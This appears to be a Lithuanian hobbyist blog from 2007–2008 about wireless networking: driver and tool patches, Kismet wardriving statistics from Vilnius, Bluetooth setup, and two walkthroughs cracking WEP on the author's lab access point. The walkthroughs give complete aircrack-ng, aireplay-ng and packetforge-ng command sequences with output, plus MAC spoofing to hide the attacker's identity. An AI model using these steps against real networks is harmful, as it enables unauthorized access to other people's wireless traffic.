random hackery

2008-04-30

rt2570-k2wrlz-1.6.1 kerneliams >= 2.6.24

Filed under: wifi — Almantas Karvelis @ 02:32

pabandžiau susikompiliuoti rt2570-k2wrlz-1.6.1 modulį 2.6.25 kerneliui, ir dėl API pasikeitimo gavau kruvą klaidų:

  CC [M]  /data/drivers/rt2570-k2wrlz-1.6.1/Module/rtusb_main.o
/data/drivers/rt2570-k2wrlz-1.6.1/Module/rtusb_main.c: In function ‘usb_rtusb_probe’:
/data/drivers/rt2570-k2wrlz-1.6.1/Module/rtusb_main.c:1964:
  error: implicit declaration of function ‘SET_MODULE_OWNER’
/data/drivers/rt2570-k2wrlz-1.6.1/Module/rtusb_main.c:1984:
  error: ‘struct net_device’ has no member named ‘weight’
/data/drivers/rt2570-k2wrlz-1.6.1/Module/rtusb_main.c:2015:
  error: too few arguments to function ‘first_net_device’
make[2]: *** [/data/drivers/rt2570-k2wrlz-1.6.1/Module/rtusb_main.o] Error 1
make[1]: *** [_module_/data/drivers/rt2570-k2wrlz-1.6.1/Module] Error 2
make[1]: Leaving directory `/usr/src/linux-2.6.25'
rt2570.ko failed to build!
make: *** [module] Error 1

panašu kad ASPj šio čipseto nebenaudoja, ir atnaujinimai jam neaktualūs.. taigi, pataisiau src, kad kompilintųsi (patchinti su `patch -l` – originale yra tab’u):

--- rtusb_main.c.orig   2007-07-05 19:41:51.000000000 +0300
+++ rtusb_main.c        2008-04-30 03:59:03.000000000 +0300
@@ -1650,7 +1650,9 @@
        pAdapter->net->hard_header_len = 14;
        pAdapter->net->mtu = 1500;
        pAdapter->net->addr_len = 6;
+#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)
        pAdapter->net->weight = 64;
+#endif
        pAdapter->MediaState = NdisMediaStateDisconnected;

        {// find available
@@ -1981,7 +1983,9 @@
        pAdapter->net->hard_header_len = 14;
        pAdapter->net->mtu = 1500;
        pAdapter->net->addr_len = 6;
+#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)
        pAdapter->net->weight = 64;
+#endif
        pAdapter->MediaState = NdisMediaStateDisconnected;
 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 5, 0)
        pAdapter->MLMEThr_pid= -1;


--- rt_config.h.orig    2007-07-19 21:53:58.000000000 +0300
+++ rt_config.h 2008-04-30 03:47:58.000000000 +0300
@@ -231,6 +231,12 @@

 #endif

+#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,24))
+#define SET_MODULE_OWNER(some_struct) do { } while (0)
+#define dev_get_by_name(slot_name) dev_get_by_name(&init_net, slot_name)
+#define first_net_device() first_net_device(&init_net)
+#endif
+

2008-04-27

gpsd fix

Filed under: tools — Almantas Karvelis @ 22:50

pamenate tą nemalonią problemą su gpsd?
fixed:

--- gpsd-2.37/libgpsd_core.c.bak    2008-01-28 22:04:33.000000000 +0200
+++ gpsd-2.37/libgpsd_core.c        2008-04-27 21:09:18.859375000 +0200
@@ -666,7 +666,7 @@
 {
     ssize_t newlen;

-    gps_clear_fix(&session->gpsdata.fix);
+    // gps_clear_fix(&session->gpsdata.fix);

     if (session->packet.inbuflen==0)
        session->gpsdata.d_xmit_time = timestamp();

kinda back

Filed under: Uncategorized — Almantas Karvelis @ 08:48

grįžome.

2007-04-16

WEP įveikimas (scenarijus B)

Filed under: hacking, wifi — Almantas Karvelis @ 11:10

tęsiant temą:

SCENARIJUS B

– Linksys AP su 128 bitų WEP šifravimu
– Nėra prisijungusių klientu, AP izoliuotas
– Atakuojantis hostas su ralink USB korta
– Atakai naudosime aircrack-ng programų paketą ir aircrack-ptw (proceso paspartinimui)

Vietoje standartinio rt2570 geriau naudoti speciaų RaLink RT2570USB Enhanced draiverį:

root@base:/base/src/drivers/rt2570# wget \\
http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt2570-k2wrlz-1.5.1.tar.bz2
rt2570# tar -jxvf rt2570-k2wrlz-1.5.1.tar.bz2
rt2570# cd rt2570-k2wrlz-1.5.1/Module

Pataisome Makefile, kad modulis turėtu kitą pavadinimą nei originalus, kompiliuojame ir padedame į žinomą vietą:

Module# cat Makefile.orig | sed 's/^MODULE_NAME := rt2570/MODULE_NAME := rt2570alt/' > Makefile
Module# make Module# cp rt2570alt.ko /base/drivers/

Įkišame kortą ir užkrauname draiverį:

root@base:~# lsmod | grep rt2570
rt2570                162592  0
usbcore               121768  3 rt2570,uhci_hcd
root@base:~# modprobe -r rt2570
root@base:~# insmod /base/drivers/rt2570alt.ko
root@base:~# lsmod | grep rt2570
rt2570alt             163232  0
usbcore               121768  3 rt2570alt,uhci_hcd

Pasikeičiame MAC adresą pasinaudoję nauju macchanger funkcionalumu:

root@base:~# macchanger -w rausb0
Current MAC: 00:00:00:00:00:00 (XEROX CORPORATION)
Faked MAC:   00:50:da:0d:11:dc [wireless] (3Com)

root@base:~# ifconfig rausb0 up
root@base:~# iwlist rausb0 scan
rausb0    Scan completed :
          Cell 01 - Address: 00:18:F8:65:2C:F8
                    Mode:Managed
                    ESSID:"lab-wep"
                    Encryption key:on
                    Channel:9

Tai yra mūsų taikinys. Perjungiame interfeisą į monitor modą:

root@base:~# airmon-ng start rausb0 9

Interface       Chipset         Driver

rausb0          Ralink USB      rt2570 (monitor mode enabled)

Asocijuojames, kad galėtume įterpti freimus (paliekame ta terminalą po ranka – jei darbai užtruktų, prieš kiekvieną įterpimo procedūrą reikėtų pakartoti acociacią):

root@base:~# aireplay-ng -1 0 -e lab-wep -a 00:18:F8:65:2C:F8 -h 00:50:da:0d:11:dc rausb0
23:43:00  Sending Authentication Request
23:43:00  Authentication successful
23:43:00  Sending Association Request
23:43:05  Sending Authentication Request
23:43:05  Authentication successful
23:43:05  Sending Association Request
23:43:05  Association successful :-)

Kadangi mūsų AP dabar izoliuotas ir neturi klientų, ARP trafiko pro jį, reikalingo pradėti įterpimą, mes nesulauksime. Mums belieka patiems sugeneruoti netikrą ARP užklausą, įterpti ją ir priversti AP atsakyti. Taigi, kitoje konsoleje bandome “chopchop” ataką:

root@base:~# aireplay-ng -4 -b 00:18:F8:65:2C:F8 -h 00:50:da:0d:11:dc rausb0
Read 380 packets...

        Size: 352, FromDS: 1, ToDS: 0 (WEP)

             BSSID  =  00:18:F8:65:2C:F8
         Dest. MAC  =  01:00:5E:7F:FF:FA
        Source MAC  =  00:18:F8:65:2C:F5

        0x0000:  0842 0000 0100 5e7f fffa 0018 f865 1bb9  .B....^.....e..
        0x0010:  0018 f865 1bb7 8055 3405 0000 8b7d f74a  ...e...U4....}.J
        0x0020:  dd08 b8ba 20f0 3460 99cd 0778 7f8b 404e  .... .4`...x.@N
        0x0030:  ec2e 814a ec59 d66c e0ed a812 7a64 e85d  ...J.Y.l....zd.]
        0x0040:  d9b6 8f85 7344 70c4 db6a c58d 08c9 6832  ....sDp..j....h2
        0x0050:  3e37 7a60 3ca8 9c82 5a59 5b84 e935 5d7d  >7z`

Generuojame ARP paketą

root@base:~# packetforge-ng -0 -a 00:18:F8:65:2C:F8 -h 00:50:da:0d:11:dc \\
                             -k 255.255.255.255 -l 255.255.255.255.255 \\
                             -y replay_dec-0415-235509.xor -w arp-request
Wrote packet to: arp-request

Kitame terminale paleidžiame airodump-ng. Kadangi naudosime aircrack-ptw, o jis tirba tik su .cap failais, nenaudojame –ivs rakto.

root@base:~# airodump-ng -c 9 rausb0 --bssid 00:18:F8:65:2C:F8 -w captureB rausb0

 CH  9 ][ Elapsed: 9 s ][ 2007-04-16 00:05

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ES

 00:18:F8:65:2C:F8   73 100       63       11    0   9  54. WEP  WEP         l

 BSSID              STATION            PWR  Lost  Packets  Probes

Grįžtame prie “chopchop” atakos metu sukonstruoto netikro ARP paketo, ir bandome įterpinėti (prieš tai pakartoję asociaciją su AP kitame terminale, kurį buvome paruošę pačioje pradžioje):

root@base:~# aireplay-ng -2 -r arp-request rausb0
open(/dev/rtc) failed: No such file or directory

        Size: 68, FromDS: 0, ToDS: 1 (WEP)

             BSSID  =  00:18:F8:65:2C:F8
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  00:50:DA:0D:11:DC

        0x0000:  0841 0201 0018 f865 1bb9 0050 da0d 11dc  .A.....e...P....
        0x0010:  ffff ffff ffff 8001 3405 0000 8b7d f74a  ........4....}.J
        0x0020:  dd08 b8bc 65f1 3d58 9aff 0779 7eca 9b9f  ....e.=X...y~...
        0x0030:  3d5a 7fb4 fc59 2996 e9db af7e 84bf 8b62  =Z..Y)....~...b
        0x0040:  5e00 3cd3                                ^.

airodump-ng lange turime matyti dramatiškai didėjantį #Data ir #/s. Jeigu ne – reikėtų pakartoti asociaciją:

root@base:~# aireplay-ng -1 0 -e lab-wep -a 00:18:F8:65:2C:F8 -h 00:50:da:0d:11:dc rausb0

Periodiskai, laisvame terminale, bandome paleisti aircrack-ptw :

root@base:~# aircrack-ptw captureB-01.cap

Mano atveju aircrack-ptw įveikė 128 bitų WEP raktą po 3 minučių duomenų rinkimo, gavęs tik ~30000 Data paketų:

root@base:~# aircrack-ptw captureB-01.cap
This is aircrack-ptw 1.0.0
For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = 00:18:F8:65:2C:F8  keyindex=0
stats for bssid 00:18:F8:65:2C:F8  keyindex=0 packets=32766
Found key with len 13: 56 DB C5 39 20 01 F1 C2 EC 64 E9 D6 4B

airodump-ng langas tuo momentu atrodė taip:

CH  9 ][ Elapsed: 3 mins ][ 2007-04-16 00:08

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ES

 00:18:F8:65:2C:F8   63  96     2244    33965  162   9  54. WEP  WEP         l

 BSSID              STATION            PWR  Lost  Packets  Probes

2007-04-15

WEP įveikimas (scenarijus A)

Filed under: hacking, wifi — Almantas Karvelis @ 15:02

Porą kartų pravažiavus su kismet po Vilnių matosi tokia įdomi statistika (adaptuota iš kismet wlanstats):

Encryption-Statistics:
Encryption-name                 Count   Perc.
None                            370     46.89%
WEP                             262     33.20%
WPA,TKIP,PSK,AES-CCM            157     19.91%

Matome kad 80% bevielių tinklų yra lengvas grobis, kadangi arba visai nenaudoja šifravimo arba naudoja nepatikimas technologijas (WEP), kas yra dar blogiau, kadangi suteikia klaidinantį saugumo pojūtį.

Apie WEP įveikimą yra prirašyta labai daug, bet viską reikėtų išbandyti praktiškai. Remsimės 2iem dokumentais iš http://www.aircrack-ng.org :
Simple WEP Crack Simple WEP Crack ir How to crack WEP with no clients

SCENARIJUS A

– Linksys AP su 128 bitų WEP šifravimu
– Prisijungę aktyvūs klientai
– Atakuojantis hostas su atheros korta
– Atakai naudosime aircrack-ng programų paketą

Visu pirma, freimų įterpimui (injection) turime perkompiliuoti madwifi draiverį su reikiamais patch’ais:

oot@base:~# ifconfig ath0 down
root@base:~# ifconfig wifi0 down
root@base:~# cd /usr/src
root@base:/usr/src# wget -c http://patches.aircrack-ng.org/madwifi-ng-r1886.patch
root@base:/usr/src# tar -jxvf madwifi-0.9.3.tar.bz2
root@base:/usr/src# cd madwifi-0.9.3
root@base:/usr/src/madwifi-0.9.3# patch -Np1 -i ../madwifi-ng-r1886.patch
patching file ath/if_ath.c
Hunk #1 succeeded at 2280 (offset -9 lines).
Hunk #2 succeeded at 2297 (offset -9 lines).

root@base:/usr/src/madwifi-0.9.3# scripts/madwifi-unload.bash
root@base:/usr/src/madwifi-0.9.3# scripts/find-madwifi-modules.sh $(uname -r)

WARNING:
It seems that there are modules left from previous MadWifi installations.
If you are unistalling the MadWifi modules please press "r" to remove them.
If you are installing new MadWifi modules, you should consider removing those
already installed, or else you may experience problems during operation.
Remove old modules?

[l]ist, [r]emove, [i]gnore or e[x]it (l,r,i,[x]) ?
r

root@base:/usr/src/madwifi-0.9.3# make
root@base:/usr/src/madwifi-0.9.3# make install
root@base:/usr/src/madwifi-0.9.3# modprobe ath_pci

Dabar pati ataka:

root@base:/base/lab# ifconfig ath0 up
root@base:/base/lab# wlanconfig ath0 list ap
SSID            BSSID              CHAN RATE  S:N   INT CAPS
lab-wep         00:18:f8:65:2c:f8    9   54M 53:0   100 EPSs

Tai yra mūsų taikinys (BSSID/MAC 00:18:f8:65:2c:f8 figūruos mūsų tolimesniuose veiksmuose)

Iškertame draiverio automatiškai sukurtą ath0 subinterfeisą

root@base:/base/lab# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

root@base:/base/lab# airmon-ng stop ath0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Pasikeičiame MAC ant parent interfeiso, kad kuriami nauji subinterfeisai turėtų naują MAC adresą (mes planuojame gan agresyviai transliuoti į eterį, taigi šviesti mūsų kortos tikrą aparatinį adresą būtų nelabai protinga):

root@base:/base/lab# macchanger -a wifi0
Current MAC: 00:12:79:68:53:c4 [wireless] (Hewlett Packard)
Faked MAC:   00:12:80:86:d5:c5 [wireless] (Cisco)

sukuriame naują subinterfeisą monitor modoj:

root@base:/base/lab# airmon-ng start wifi0 9

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Pakeliame jį, ir pasitikriname, ar tikrai naujas MAC adresas:

root@base:/base/lab# ifconfig ath0 up
root@base:/base/lab# iwconfig ath0
ath0      IEEE 802.11g  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.457 GHz  Access Point: 00:12:80:86:D5:C5
          Bit Rate:0 kb/s   Tx-Power:15 dBm   Sensitivity=0/3
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/94  Signal level=-96 dBm  Noise level=-96 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Asocijuojames su taikiniu:

root@base:/base/lab# aireplay-ng -1 0 -e lab-wep -a 00:18:f8:65:2c:f8 -h 00:12:80:86:d5:c5 ath0
10:56:05  Sending Authentication Request
10:56:05  Authentication successful
10:56:05  Sending Association Request
10:56:05  Association successful :-)

Pradedame paketų įterpimą – kadangi AP turi aktyvių klientų, ARP paketo reikiamo įterpimui pradėti sulaukiame gan greitai:

root@base:~# aireplay-ng -3 -b 00:18:f8:65:2c:f8 -h 00:12:80:86:d5:c5 ath0
Saving ARP requests in replay_arp-0415-105729.cap
You should also start airodump-ng to capture replies.
Read 29212 packets (got 8270 ARP requests), sent 28144 packets...

Kitame terminale, kaip ir pataria mums aireplay, startuojame airodump ir pradedame rinkti informaciją (duomenys bus saugomi faile output-01.ivs):

root@base:/base/lab# airodump-ng -c 9 --bssid 0:18:f8:65:2c:f8 --ivs -w output ath0
 CH  9 ][ Elapsed: 6 mins ][ 2007-04-15 11:04

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ES

 00:18:F8:65:2C:F8   58 100     3833    34177  121   9  54. WEP  WEP    OPN  l

 BSSID              STATION            PWR  Lost  Packets  Probes

 00:18:F8:65:2C:F8  00:12:80:86:D5:C5   60     0    34698

Dabar belieka laukti. http://www.aircrack-ng.org teigia, kad garantuotam WAP nulaužimui aircrack priemonėm reikia ~250 000 Data paketų 64 bitų WEP raktui ir ~1 500 000 Data paketų 128 bitų raktui, ir kad įterpimo intensyvumas gali svyruoti nuo 100 iki 1000 paketų per sekundę. Mano atveju vidutinis iterpimo intensyvumas yra 120 #/s, ir žinant, kad raktas yra 128 bitų, galime paskaičiuoti, kiek truks visas prosesas:
1 500 000 / 120 / 60 /60 = >3 val.
Daugoka. Bet čia kalba eina apie garantuotą nulaužimą. Niekas mums netrukdo periodiškai pabandyti prasukti aircrack-ng output-01.ivs failui. Bandžiau kas 5 minutes, ir po ~50 min., surinkęs ~350000 paketų pasiekiau rezultatą – aircrack-ng rado WEP raktą per 2 sekundes:

root@base:/base/lab# aircrack-ng output-01.ivs

                                 Aircrack-ng 0.7


                 [00:00:02] Tested 77 keys (got 356686 IVs)

   KB    depth   byte(vote)
    0    0/  3   56(  30) F4(  30) D3(  15) 68(  12) DE(  12) F5(   9)
    1    0/  1   DB( 229) 9B(  30) 84(  21) 7F(  19) 4F(  18) A5(  18)
    2    0/  1   C5( 199) BB(  52) A4(  27) CA(  25) B9(  23) D2(  18)
    3    0/  1   39( 497) 4F(  35) EF(  32) 02(  31) 05(  31) F0(  28)
    4    0/  1   20( 154) EC(  40) 23(  39) 30(  37) 4C(  31) 5C(  30)
    5    0/  1   01( 170) 84(  51) CC(  42) 88(  38) D3(  37) E5(  37)
    6    0/  3   F1( 107) 19(  80) 7A(  61) 7B(  47) C0(  25) 7F(  23)
    7    0/  4   C2(  64) 7F(  40) 7E(  37) C6(  32) 7B(  31) 1F(  30)
    8    0/  1   EC( 170) B0(  46) 56(  40) B2(  36) AE(  29) B5(  24)
    9    0/  2   64( 123) BD(  78) C0(  51) 72(  43) 8A(  43) B8(  38)
   10    0/  1   E9( 227) 49(  30) 4C(  30) 46(  29) 79(  23) 14(  20)
   11    0/  1   D6( 249) 51(  43) 4F(  34) AD(  34) 54(  26) 4D(  25)

             KEY FOUND! [ 56:DB:C5:39:20:01:F1:C2:EC:64:E9:D6:4B ]

įrankiai (wifi) aircrack-ng, aircrack-ptw

Filed under: tools — Almantas Karvelis @ 00:27

aircrack-ng

aircrack-ng yra 802.11 WEP ir WPA-PSK raktų “laužymo” įrankių komplektas, į kurį įeina:

  • aircrack-ng – raktų laužymo programa
  • airdecap-ng – WEP/WPA pcap failų dešifravimo įrankis
  • airmon-ng – RFMON įrankis
  • aireplay-ng – 802.11 trafiko generatorius
  • airodump-ng – 802.11 sniferis
  • packetforge-ng – paketų įterpimui generatorius
  • airtun-ng – virtualių tunelių interfeisų įrankis
  • wzcook – Windows Wireless Zero Configuration utility raktų “ištraukimo” priemonė
  • ivstools – manipuliavimo ivs failais įrankis

aircrack-ptw

aircrack-ptw – papildomas įrankis, aircrack-ng alternatyva, naudojantis kitą algoritmą ir dėl to žymiai greitesnis

2007-04-14

macchanger patch

Filed under: code, tools — Almantas Karvelis @ 18:44

pritrūkau macchanger funkcionalumo.

Mano bevielė ralink USB korta, tik įkišus ją į lizdą, gauna interfeisą rausb0 su MAC adresu 00:00:00:00:00:00, ir tik pakėlus ją komanda `ifconfig rausb0 up`, interfeisui priskiriamas tikras MAC adresas. Todėl nepakėlus kortos `macchanger -a rausb0` ir tuo labiau `macchanger -e rausb0` veikia nekorektiškai.

Čia yra macchanger-1.5.0 patch’as, kuris prideda 2 naujas programos funkcijas:
-w raktas priskiria interfeisui atsitiktini MAC iš bevielių kortų gamintojų sąrašo
-i raktas parodo informacija apie komandinėje eilutėje pateiktą MAC adresą:


root@base:~# macchanger -h
GNU MAC Changer
Usage: macchanger [options] device

  -h,  --help                   Print this help
  -V,  --version                Print version and exit
  -s,  --show                   Print the MAC address and exit
  -e,  --endding                Don't change the vendor bytes
  -a,  --another                Set random vendor MAC of the same kind
  -w,  --wireless               Set random vendor wireless MAC
  -A                            Set random vendor MAC of any kind
  -r,  --random                 Set fully random MAC
  -l,  --list[=keyword]         Print known vendors
  -m,  --mac=XX:XX:XX:XX:XX:XX  Set the MAC XX:XX:XX:XX:XX:XX
  -i,  --info=XX:XX:XX:XX:XX:XX Info about the MAC XX:XX:XX:XX:XX:XX

Report bugs to alvaro@gnu.org

root@base:~# ifconfig rausb0
rausb0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

root@base:~# macchanger -w rausb0
Current MAC: 00:00:00:00:00:00 (XEROX CORPORATION)
Faked MAC:   00:11:93:64:3e:3b [wireless] (Cisco)

root@base:~# ifconfig rausb0
rausb0    Link encap:Ethernet  HWaddr 00:11:93:64:3E:3B
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

root@base:~# macchanger -i 00:0c:29:cd:a0:f0
MAC info: 00:0c:29:cd:a0:f0 (VMware, Inc.)

2007-04-12

įrankiai (tinklas) – macchanger

Filed under: tools — Almantas Karvelis @ 16:39

macchanger (o tiksliau – GNU MAC Changer) yra maža bet labai patogi programėlė tinklo interfeisų MAC adresų manipuliavimui.

Labai gražiai dirba su atheros bevieliais adapteriais po madwifi draiveriu. Moka pakeisti esamą MAC adresą i kitą to pat gamintojo adresą, į kitą to paties tipo kortos adresą (bevielę į bevielę), į atsitiktinį ar į kažkokį konkretų.

Yra debian paketas, (apt-get install macchanger) bet ir jame, ir originalioje distribucijoje adresu/gamintoju aprašai gan smarkiai pasenę ir reikėtu juos atnaujinti. Į paketą įeina pythonu parašyta atnaujinimo programėlė, bet ji neatnaujina bevielių klientų sąrašo. Galiausia paprasčiau gavosi viską atnaujinti rankomis:

root@base:~# dpkg -L macchanger | grep list
/usr/share/macchanger/wireless.list
/usr/share/macchanger/OUI.list

root@base:~# cp /usr/share/macchanger/OUI.list /usr/share/macchanger/OUI.list.old
root@base:~# lynx -source http://standards.ieee.org/regauth/oui/oui.txt |   \\
grep "(hex)" | sed -e  's/(hex)//' -e 's/[\\t ][\\t ]*/ /g' -e 's/-/ /' -e 's/-/ /'  \\
> /usr/share/macchanger/OUI.list

root@base:~# cp /usr/share/macchanger/wireless.list /usr/share/macchanger/wireless.list.old
root@base:~# lynx -source http://svn.kismetwireless.net/code/trunk/conf/client_manuf |  \\
awk '{print $1 ":" $2}' | cut -d: -f1,2,3,12 | sed 's/:/ /g'  \\
 > /usr/share/macchanger/wireless.list

Naudojimas:

root@base:~# macchanger --help
GNU MAC Changer
Usage: macchanger [options] device

  -h,  --help                   Print this help
  -V,  --version                Print version and exit
  -s,  --show                   Print the MAC address and exit
  -e,  --endding                Don't change the vendor bytes
  -a,  --another                Set random vendor MAC of the same kind
  -A                            Set random vendor MAC of any kind
  -r,  --random                 Set fully random MAC
  -l,  --list[=keyword]         Print known vendors
  -m,  --mac=XX:XX:XX:XX:XX:XX  Set the MAC XX:XX:XX:XX:XX:XX

root@base:~# macchanger -s rausb0
Current MAC: 00:17:31:12:04:40 [wireless] (ASUSTek COMPUTER INC.)

root@base:~# macchanger -e rausb0
Current MAC: 00:17:31:12:04:40 [wireless] (ASUSTek COMPUTER INC.)
Faked MAC:   00:17:31:5e:01:0b [wireless] (ASUSTek COMPUTER INC.)

root@base:~# macchanger -a rausb0
Current MAC: 00:17:31:5e:01:0b [wireless] (ASUSTek COMPUTER INC.)
Faked MAC:   00:02:2d:fe:ec:a1 [wireless] (Agere)

root@base:~# macchanger -A rausb0
Current MAC: 00:02:2d:fe:ec:a1 [wireless] (Agere)
Faked MAC:   00:09:6b:27:56:11 (IBM Corporation)

root@base:~# macchanger -r rausb0
Current MAC: 00:09:6b:27:56:11 (IBM Corporation)
Faked MAC:   e4:a9:6f:44:23:63 (unknown)

root@base:~# macchanger -m 00:01:02:03:04:05 rausb0
Current MAC: e4:a9:6f:44:23:63 (unknown)
Faked MAC:   00:01:02:03:04:05 (3COM CORPORATION)

2007-04-11

įrankiai (wifi) – kismet

Filed under: tools, wifi — Almantas Karvelis @ 22:13

kismet, pasak autorių, yra 802.11 2-tro OSI lygio bevielio tinklo detektorius, sniferis ir IDS.

Pasyviai klausydamas oro “monitor” modoj, kismet leidžia pamatyti ir identifikuoti šalia esančias prieigos stotis (AP), jų trafiko šifravimo metodą, klientus ir siunčiamus duomenis, netgi jei jos sukonfigūruotos kaip “hidden” (netransliuoja savo ESSID).

Kismet išsaugo rezultatus xml formato loguose, o nusnifintus duomenis pcap formato failuose. Jis gali nauduoti GPS gautų duomenų “pririšimui” prie buvimo vietos. Taip pat jis turi priemones (gpsmap) pagal gautas GPS koordinates grafiškai nubraižyti aptiktas prieigas stotos ir jų padengiama teritoriją bei signalo stiprumą rastriniuose žemėlapiuose (iš viešai prieinamų žemėlapių serverių arba vartotojo sukalibruotų failų). Taip pat kismet turi audio-interfeisą (per festival ar flite balso sintezatorius) ir gali realiame laike pranešti apie savo darbo rezultatus balsu.

Kismet gali dirbti su daugeliu bevielių tinklo kortų, jei jų draiveriai palaiko RFMON – palaikomų kortų ir draiverių sąrašas – čia (žr. “Capture Sources” skyrelį).

Visos mano kortos yra palaikomos, ir kiekvienam atvejui aš pasidaręs atskirą konfigą bei start-skriptą, iš kurio kviečiu kismet su atitinkamu konfigu, pieš tai atlikęs reikiamus veiksmus. Pvz. atheros kortos atveju konfige
/base/cfg/kismet-ath.conf padaryti pakeitimai:

source=madwifi_g,wifi0,ath
...
defaultchannels=IEEE80211b:1,7,13,2,8,3,14,9,4,10,5,11,6,12
...
defaultchannels=IEEE80211g:1,7,13,2,8,3,14,9,4,10,5,11,6,12
...
metric=true
...

o skriptas kismet-ath atrodo taip:

#!/bin/bash
ifconfig ath0 down
wlanconfig ath0 destroy
kismet -f /base/cfg/kismet-ath.conf

Keletas žodžių apie GPS: debianas turi gpsd ir gpsd-clients paketus iš GPSd projekto. Sudėjus softą ir įkišus USB gps imtuvą į lizdą, gpsd startuoja automagiškai, ir kismet iškarto gali juo naudotis. Taip pat galima pasileisti grafinę xgps ar konsolinę cgps utilitą ir stebėti GPS ir gpsd statusą.

Bet mano atveju, susidūriau, kaip visad, su problema – naujausia gpsd versija pažodžiui interpretuoja mano šiek tiek gliučno GPS imtuvo NMEA duomenis, ir nuolat, kas pora sekundžių šokinėja tarp “3D Fix” ir “NO Fix”.
Ir tai, pasak esr, (taip, taip, to paties esr) yra gerai(TM). Bet tas “gerai – fix your hardware” manęs neguodžia, ir tenka ieškoti alternatyvos. Tokia alternatyva – gpsd iš GpsDrive paketo, kuris yra aukščiau minėto gpsd senesnės versijos fork’as. Kismet puikiai dirba su GpsDrive gpsd, o pastarasis neturi FIX problemos su mano GPS imtuvu.

Na ir pabaigai – taip atrodo kismet langas važiuojant Konstitucijos prospektu Vilniuje:

O taip – gpsmap sugeneruotas to paties prospekto AP žemėlapis (map source – Expedia, žali – atviri AP, raudoni – šifruoti):

Komandinė eilutė žemėlapio generavimui:
gpsmap -D -S 6 -d 484,316 -n 1 -M -e -o kmmap.png /base/log/kismet/*.gps
Dėl mažyčio bug’o kode tenka ja paleisti 2 kartus iš eilės su -D opcija :)

bonus:
http://parknation.com/gmap/ – kismet aptiktų tinklų braižymas Google Maps žemėlapiuose
http://www.niquille.com/kismet-earth/ – tas pats Google Earth
http://www.mindflip.org/klv/ – Kismet Log Viewer – senas
http://kripton.kripserver.net/software/wlanstats/ – statistikos generatorius
http://kismetwireless.net/code/klc_dutch_08-2006-R2.pl – KLC – Kismet Log Combiner
http://code.google.com/p/kismetlogger/ win32(?!) C#(?!) app. – kismet .xml ir .gps duomenų agregatorius į sqlite DB ir Google Earth .kml generatorius.

idėjos:
KLC infrastruktūros pagrindu sukurti sqlite backendą + perl cgi webservisą, į kurį importuoti visus kismet logus ir pcap dump’ų analizės rezultatus, ir kuris leistų įvairiais kampais ieškoti ir analizuoti duomenis bei pateikti statistiką, grafikus ir dinaminius žemėlapius.

2007-03-30

bazė – bluetooth GPRS/EDGE/3G

Filed under: base — Almantas Karvelis @ 01:15

Bluetooth:

root@base:~# apt-get install bluetooth bluez-utils

root@base:~# hcitool dev
Devices:
        hci0    00:0F:0E:0D:0B:0A

Telefone įjungiame BT ir nustatome, kad jis nebūtų “hidden” (tik poravimui).
Pasižiūrime, ar matome telefoną:

root@base:~# hcitool scan
Scanning ...
        00:01:02:03:04:05       Nokia 6230i

Toliau visuose pavyzdžuose 00:0F:0E:0D:0B:0A bus hosto BT adresas, o 00:01:02:03:04:05 – telefono.

root@base:~# l2ping -c 3 00:01:02:03:04:05
Ping: 00:01:02:03:04:05 from 00:0F:0E:0D:0B:0A (data size 44) ...
0 bytes from 00:01:02:03:04:05 id 0 time 31.74ms
0 bytes from 00:01:02:03:04:05 id 1 time 16.18ms
0 bytes from 00:01:02:03:04:05 id 2 time 35.97ms
3 sent, 3 received, 0% loss

pakeičiame /etc/bluetooth/hcid.conf konfigą, pridėdami “autoinit yes” ir “security auto”:

options {
        autoinit yes;
        security auto;
        pairing multi;
        passkey "1234";
}

device {
        name "%h-%d";
        class 0x3e0100;
        iscan enable; pscan enable;
        lm accept;
        lp rswitch,hold,sniff,park;
}

/etc/bluetooth/rfcomm.conf konfige sukūriame įrenginį:

rfcomm0 {
        bind yes;
        device 00:01:02:03:04:05;
        channel 1;
        comment "Nokia 6230i";
}

restartuojame servisą:

root@base:~# /etc/init.d/bluetooth restart

Dabar pamėginę pasiekti įrenginį /dev/rfcomm0 , telefone matysime bandymą poruotis, tačiau kokį piną bevestume, poravimas bus nesėkmingas, o syslog išmes pranešimą iš hcid: “call_passkey_agent(): no agent registered”

Šitą problemą galima išspresti 2iem būdais:

1. instaliuojant passkey-agent utilitą:

root@base:~# apt-get install libdbus-1-dev
root@base:~# cd /usr/share/doc/bluez-utils/examples/
root@base:/usr/share/doc/bluez-utils/examples# gunzip passkey-agent.c.gz
root@base:/usr/share/doc/bluez-utils/examples# make
root@base:/usr/share/doc/bluez-utils/examples# install passkey-agent /usr/local/bin/

Dabar norėdami suporuoti telefoną paleidžiame agentą ir bandome pasiekti rfcomm0 įrenginį:

